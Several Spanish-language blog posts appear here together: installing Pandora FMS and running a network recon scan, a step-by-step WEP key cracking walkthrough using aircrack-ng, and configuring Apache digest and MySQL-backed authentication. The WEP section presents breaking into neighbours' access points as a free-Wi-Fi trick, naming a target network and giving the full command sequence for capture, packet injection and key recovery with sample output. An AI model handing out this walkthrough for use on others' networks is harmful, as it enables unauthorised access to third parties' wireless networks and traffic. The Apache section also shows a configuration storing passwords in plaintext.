La configuración se hace a través de seis sencillos pasos que podeis ver en las diapos de aquí abajo. Aceptamos la licencia, verificamos que todas las dependencias se han instalado correctamente, aceptamos los datos relativos a la base de datos y la instancia web y cumplimentamos los datos de un usuario con privilegios para crear la nueva base de datos y, muy importante, anotamos la contraseña aleatoria que nos muestra en la pantalla número 5.

• pandorafms01

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms01.jpeg
  la

• pandorafms02

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms02.jpeg
  la

• pandorafms03

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms03.jpeg
  la

• pandorafms04

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms04.jpeg
  la

• pandorafms05

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms05.jpeg
  la

• pandorafms06

  http://blog.unlugarenelmundo.es/wp-content/uploads/2010/08/pandorafms06.jpeg
  la

Antes de entrar por primera vez en la consóla debemos de proporcionar al servidor la contraseña que se nos ha facilitado durante la instalación. Para ello editamos el fichero /etc/pandora/pandora_server.conf y localizamos en él el parámetro dbpass:

dbpass ghqshtvw

Finalmente relanzamos el proceso del servidor (que debe de haber abortado tras la instalación debido a la ausencia de esta contraseña):

# /etc/init.d/pandora_server start /etc/pandora/pandora_server.conf

Y esto es todo. Si ha habido algún problema debería de haber quedado reflejado en los archivos de log que se encuentran en el directorio /var/log/pandora. Si todo ha salido bien podemos ir a nuestra máquina de escritorio y entrar en la consola a través de la siguiente URL. El usuario creado inicialmente de forma automática es admin y la contraseña pandora:

http://<ip o nombre de la maquina>/pandora_console/

La pantalla inicial que se nos presenta tiene el aspecto de la imagen de aquí abajo (pulsa sobre ella para ampliarla). En la wiki de documentación del proyecto tienes una buena descripción de cada uno de sus apartados:

Y vamos a terminar por hoy diciendole a Pandora que lance una tarea de reconocimiento para que veamos cuan fácil es crear un mapa de nuestra red. Para ello, y dentro del menú lateral de administración, desplegamos la opción de “Gestionar servidores” y pulsamos sobre “Gestionar tarea recon”. Pulsamos el botón de Crear y cumplimentamos la ficha con los datos de nuestra red:

Ya experimentaremos más adelante con los campos de plantillas, puertos, etc. Por el momento sólo pondremos un nombre a la tarea, cumplimentaremos correctamente el “scope” de nuestra red y pulsaremos el botón de Añadir. La tarea se creará y se lanzará de forma automática. Si queremos ver el avance de la exploración vamos al menú lateral de operaciones, desplegamos la opción de “Servidores” y pulsamos sobre el nombre de nuestro servidor para que nos muestre las tarea que está ejecutando en este momento y el progreso de las mismas:

Al terminar la exploración desplegamos la opción de “Ver agentes” (también en el menú de operación) y elegimos “Mapa de red”. Et voilà:

Pulsando sobre cualquiera de los dispositivos mostrados en el mapa obtendremos una ventana de detalle como la siguiente:

Y por el momento basta. Otro día seguimos con ella.

La gente quiere compartir su Wi-Fi con nosotros de forma desinteresada y, como Fon no sirve de gran cosa (¿Cuánto tiempo hace que no veis una red de Fon?¿Habeis visto alguna vez una? ), suele dejarnos acceso libre a sus puntos de acceso. En caso contrario no se explica que aún hoy en día más de la mitad de los accesos inalámbricos esten configurados usando un sistema de cifrado, el WEP, que nos permite paso libre en apenas cuatro o cinco minutos. Un “amable” detalle para que no gastemos más en la factura de teléfono y poder recoger el correo o conectarnos a facebook para dar envidia durante las vacaciones.

La única parte complicada de todo lo que vamos a contar a continuación es disponer de una tarjeta de red con los drivers oportunos para nuestra tarea. La tarjeta (el hardware) no merece darle muchas vueltas. Si la que tenemos sirve, pues estupendo. Si no, tendremos que comprar una adecuada. Los drivers se pueden compilar para cualquier distribución de Linux, pero no merece la pena hacerlo: yo tengo instalado Backtrack en una pequeña partición de 15 Gbytes de mi portatil para estos menesteres y si a ti no te sobra siquiera ese espacio puedes usar una versión live de esta distribución en una memoria USB. Si estás curtido en este mundo y prefieres compilar los drivers tu mismo para tu distribución habitual, adelante. En este último caso disponer de la suite aircrack-ng no te será complicado. Para todo el proceso necesitaremos al menos tres terminales de forma simultanea pero es indistinto que lo hagamos mediante un entorno gráfico (startx) o usando terminales virruales (Ctrl+Alt+Fn).

Y empezamos con los preliminares. Hemos arrancado ya con nuestra backtrack y vamos a comprobar que nuestra tarjeta es compatible con los drivers de madwifi y, en caso afirmativo, a inicializarla. Para ello usamos el comando iwconfig para ver que tarjeta tiene extensiones inalámbricas e ifconfig para averiguar la MAC (Hwaddr) de la misma:

root@bt:~# iwconfig
lo no wireless extensions.

eth0 no wireless extensions.

wlan0 IEEE 802.11bgn Mode:Managed Access Point: Not-Associated
Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

root@bt:~# ifconfig wlan0
wlan0 Link encap:Ethernet HWaddr 1c:4b:d6:a3:52:2a
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

En el volcado anterior vemos que la denominación de nuestra tarjeta es wlan0 y que su dirección MAC es la 1c:4b:d6:a3:52:2a. Bien. Ahora incializaremos en modo monitor nuestra tarjeta:

root@bt:~# airmon-ng stop wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode disabled)

root@bt:~# airmon-ng start wlan0

Interface Chipset Driver
wlan0 Atheros ath9k - [phy0]
(monitor mode enabled on mon0)

Y ahora comprobaremos que es apta para nuestro trabajo. En la última línea del comando anterior la suite de aircrack nos ha devuelto el identificador correspondiente a nuestro adaptador inalámbrico en modo monitor que es el que usaremos a partir de ahora. El siguiente comando nos dirá si dicho dispositivo es capaz de inyectar paquetes en una red wifi y hará una prueba de dicha “habilidad” con tres de los dispositivos que sea capaz de detectar:

root@bt:~# aireplay-ng --test mon0
14:20:50 Trying broadcast probe requests...
14:20:50 Injection is working!
14:20:52 Found 3 APs

14:20:52 Trying directed probe requests...
14:20:52 00:03:C9:8D:0C:04 - channel: 1 - 'La cueva de Moratalaz'
14:20:52 Ping (min/avg/max):
1.644ms/3.040ms/6.560ms Power: -28.13
14:20:52 30/30: 100%

14:20:52 00:1F:5B:89:4B:BE - channel: 2 - 'Apple Network'
14:20:53 Ping (min/avg/max): 2.183ms/22.288ms/87.101ms Power: -75.30
14:20:53 30/30: 100%

14:20:53 00:1F:E1:2A:79:74 - channel: 1 - 'Livebox-DBB0'
14:20:58 Ping (min/avg/max): 2.218ms/3.187ms/4.387ms Power: -90.40
14:20:58 5/30: 16%

Y hasta aquí los preliminares. Si la prueba anterior ha fallado no tenemos nada que hacer y tendríamos que revisar que falla de lo expuesto hasta el momento. Vamos ahora a elegir nuestro “objetivo”. Para ello usaremos el siguiente comando;

root@bt:~# airodump-ng mon0

Como salida tendremos una pantalla con las redes detectadas por nuestro adaptador y diferentes medidas sobre la calidad de la señal que nos llega, actividad en la misma, cifrado, etc. Veamos un pantallazo (click para ampliarlo):

¿En que deberíamos de fijarnos a la hora de elegir objetivo? Por supuesto en el cifrado (WEP en la columna AUTH) y en la proximidad de la señal (identificada con un número en decibelios bajo la columna PWR). Además necesitaremos el BSSID del punto de acceso (su MAC), el canal en el que opera (columna CH) y el identificador de la red (columna ESSID). Pulsando Ctrl+C cuando tenemos datos suficientes la ejecución se aborta y podremos copiar estos datos con tranquilidad. La columna #Data es particularmente importante porque no podremos meternos en una red que no tiene actividad, así que es vano tratar de introducirnos en una con esta columna a cero. En este caso habrá que esperar a que el dueño la use. Explicaremos más adelante el motivo.

El siguiente paso es “capturar” los paquetes de identificación de la red elegida y guardarlos en un fichero. Si hemos elegido la red identificada como DJC de la captura anterior el comando sería el siguiente:

root@bt:~# airodump-ng -c 3 -w djc --bssid 00:13:f7:df:a4:0d mon0

Donde idicamos el canal (3), la raíz de los ficheros donde se guardarán las capturas (djc) y la MAC del objetivo (00:13:f7:df:a4:0d). La salida debería de ser algo así:

La columna más importante aquí es la etiquetada como #Data que nos muestra el número de paquetes IVs capturados. La captura de aquí arriba corresponde a una ejecución de siete minutos (excesiva para lo que necesitamos) pero al principio veremos de forma decepcionante como avanza de forma muy, muy lenta. Máxime considerando que necesitaremos entre 5.000 y 10.000 paquetes para acceder a la contraseña. Ahora veremos como hacerla correr…

Dejamos el anterior comando en ejecución y abrimos un nuevo terminal desde el que asociaremos nuestro adaptador inalámbrico al punto de acceso objetivo con la siguiente orden:

root@bt:~# aireplay-ng -1 0 -a 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a -e DJC mon0

La primera MAC (00:13:f7:df:a4:0d) es la de nuestro objetivo y la segunda (1c:4b:d6:a3:52:2a) la del adaptador que estamos usando para conectarnos a ella. El identificador de la red objetivo sigue siendo DJC. En este punto podría ocurrir que no consiguieramos realizar la asociación. Esto es debido normalmente a que el punto de acceso está filtrando por MAC o a que estamos demasiado lejos del mismo. Lo primero tiene solución, pero ya lo veremos en otro artículo que este ya está quedando demasiado tocho. Una vez hecha la asociación pasamos a hacer crecer ese número de paquetes IVs que necesitamos para romper la contraseña. ¿Cómo? Pues aprovechando que los paquetes ARP se envían en modo broadcast y contienen un IV (vector de inicialización) que es lo que necesitamos. Pondremos a nuestro adaptador a escuchar y esperar este tipo de paquetes y a reinyectarlos en la red para acelerar el proceso de forma que en apenas un par de minutos tendremos varios miles de estos. El comando a continuación:

root@bt:~# aireplay-ng -3 -b 00:13:f7:df:a4:0d -h 1c:4b:d6:a3:52:2a mon0

La primera MAC sigue siendo la del punto de acceso y la segunda la de nuestro adaptador. El resultado de la ejecución de los dos últimos comandos aquí:

Si todo sale bien veremos como el número de paquetes IV capturados empieza a desbordarse. Si después de 500 ARP request no hemos conseguido este efecto cancela el comando y vuelve a ejecutar los dos últimos (el de asociación de la tarjeta y este). Después de tres o cuatro intentos, a lo sumo, conseguiremos el efecto deseado.

Vamos ahora con el paso final. Abrimos un tercer terminal y ejecutamos lo siguiente:

root@bt:~# aircrack-ng -b 00:13:f7:df:a4:0d djc-01.cap

Esto lanzará el ataque para descifrar la contraseña de la red identificada por la MAC 00:13:f7:df:a4:0d a partir de los paquetes capturados y almacenados en el fichero djc-01.cap (recuerda que la raiz djc la introdujimos nosotros). Si aircrack no tiene suficiente información para romper la clave quedará en espera de algunos centenares más y se relanzará de forma automática. Si no hay problemas enseguida nos responderá con algo así donde la clave que necesitamos es la que aparece al final y etiquetada como ASCII:

No os asusteis por la extensión del texto. He querido que sea fácilmente entendible y reproducible por casi cualquiera y por eso he metido más literatura de la cuenta, pero una vez que hayas practicado un par de veces podrás completar todo el proceso en apenas un par de minutos. Y démosle gracias a Telefónica por seguir instalando sus puntos de acceso usando WEP

Continuamos hoy con otros dos métodos de autenticación en Apache. El primero que vamos a ver recupera los problemas de gestión de usuarios y contraseñas pero soluciona el problema de la transferencia de contraseñas en claro sin necesidad de usar SSL. Consiste en usar la autenticación mediante digest. El procedimiento, como veréis, es muy similar al visto el otro día con la autenticación básica pero cambiando algunas de las directivas y usando la utilidad htdigest en lugar de htpassword para crear el fichero de contraseñas. El módulo de autenticación necesario suele venir con Apache pero no habilitado por defecto. Para activarlo usamos la utilidad a2enmod y, a continuación reiniciamos el servidor Apache:

$ sudo a2enmod auth_digest
$sudo /etc/init.d/apache2 restart

Luego incluimos una sección como esta en el fichero de configuración de nuestro Virtual Host:

<Directory "/var/www/miweb/privado">
     Order deny,allow
     AuthType Digest
     AuthName "dominio"
     AuthUserFile "/etc/claves/digest.txt"
     <Limit GET POST>
          Require valid-user
     </Limit>
</Directory>

Como vemos, es muy similar a la configuración necesaria en la autenticación básica. Sólo dos notas: el fichero donde se dejan las contraseñas se indicaba con la directiva AuthDigestFile hasta la versión 2.2 de apache. Ahora, como veis en el ejemplo, es AuthUserFile. Y dos: la directiva AuthName que en la autenticación básica se usaba para mostrar un mensaje en la ventana que pide el usuario y contraseña, ahora se usa también para identificar un nombre de dominio (realm) que debe de coincidir con el que aparezca después en el fichero de contraseñas. Dicho esto, vamos a generar dicho fichero con la utilidad htdigest:

# htdigest -c /etc/claves/digest.txt dominio josemaria
Adding password for josemaria in realm dominio.
New password:
Re-type new password:

Al igual que ocurría con htpassword, la opción -c (create) sólo debemos de usarla al crear el fichero con el primer usuario. Luego añadiremos los restantes usuarios prescindiendo de ella. A continuación vemos el fichero que se genera después de añadir un segundo usuario:

josemaria:dominio:8d6af4e11e38ee8b51bb775895e11e0f
gemma:dominio:dbd98f4294e2a49f62a486ec070b9b8c

El último método que vamos a ver usa una base de datos de mySQL como repositorio de contraseñas. Esto nos permitirá preparar de forma fácil unas páginas para gestionarlas por personal no experto o, incluso, permitir al propio usuario final que haga cambios por si mismo, crear algún método de recuperación automático por email, etc. Esto, combinado con un cifrado SSL, nos proporciona un método cómodo, flexible y suficientemente seguro para la mayoría de los casos. Lo primero que debemos de hacer es instalar el módulo que nos proporciona este modelo de autenticación, activarlo y reiniciar nuestro apache:

$ sudo apt-get install libapache2-mod-auth-mysql
$sudo a2enmod auth_mysql
$sudo /etc/init.d/apache2 restart

A continuación necesitamos crear una base de datos adecuada en el servidor mysql. Los únicos campos imprescindibles son los dos correspondientes al usuario y contraseña, tal y como se muestran en la siguiente imagen. El resto, a nuestro gusto y dependiendo de si planeamos hacer alguna página para gestionarlos y las funcionalidades que queremos que tenga (nombre completo, dirección de email, etc.)

Necesitaremos, además, un usuario de mySQL con acceso a estas tablas para que Apache pueda usarlo. Con concederle privilegios de lectura (SELECT) nos basta:

Añadimos un par de registros a nuestra base de datos para hacer pruebas:

Y, por último, editamos la sección correspondiente en la configuración de nuestro Virtual Host y pedimos a apache que haga un reload de la misma:

<Directory "/var/www/miweb/privado">
     AuthType Basic
     AuthName "Zona Privada"
     AuthBasicAuthoritative Off
     AuthUserFile /dev/null
     AuthMYSQL on
     AuthMySQL_Authoritative on
     AuthMySQL_DB httpdauthmysql
     Auth_MySQL_Host localhost
     Auth_MySQL_User apacheauth
     Auth_MySQL_Password 4pache3Sql
     AuthMySQL_Password_Table usuarios
     AuthMySQL_Username_Field login
     AuthMySQL_Password_Field pwd
     AuthMySQL_Empty_Passwords off
     AuthMySQL_Encryption_Types Plaintext
     Require valid-user
</Directory>

El significado de los campos a personalizar para nuestra configuración es fácilmente distinguible:

• AuthMySQL_DB y Auth_MySQL_Host determinan los nombres de la base de datos y el servidor donde esta reside, que usaremos para la autenticación de usuarios.
• Auth_MySQL_User y Auth_MySQL_Password son los datos del usuario que apache usará para leer de la base de datos anterior.
• AuthMySQL_Password_Table, AuthMySQL_Username_Field y AuthMySQL_Password_Field describen, respectivamente, la tabla donde se guardan las credenciales de los usuarios con permiso de acceso y los campos que usaremos para almacenar sus usuarios y contraseñas.

El campo Auth_MySQL_Encryption_Types, por último, nos permite definir la forma en que la contraseña se guarda en nuestra base de datos y admite múltiples formas. Tal y como está en el ejemplo anterior, indicamos que la contraseña se guardará en texto plano. Si queremos hacerlo un poco más serio y no guardar la contraseña así podríamos, por ejemplo, almacenar un hash de la misma. Existen diversos métodos para esto, pero lo más sencillo es variar el valor de este campo por lo siguiente:

AuthMySQL_Encryption_Types Crypt

Esto nos permitirá usar las mismas firmas generadas por la utilidad htpasswd que vimos aquí o, en general, las creadas a partir de la llamada a la función crypt(). Copiamos el hash al campo pwd de la base de datos antes generada, volvemos a hacer un reload a nuestro apache y listo.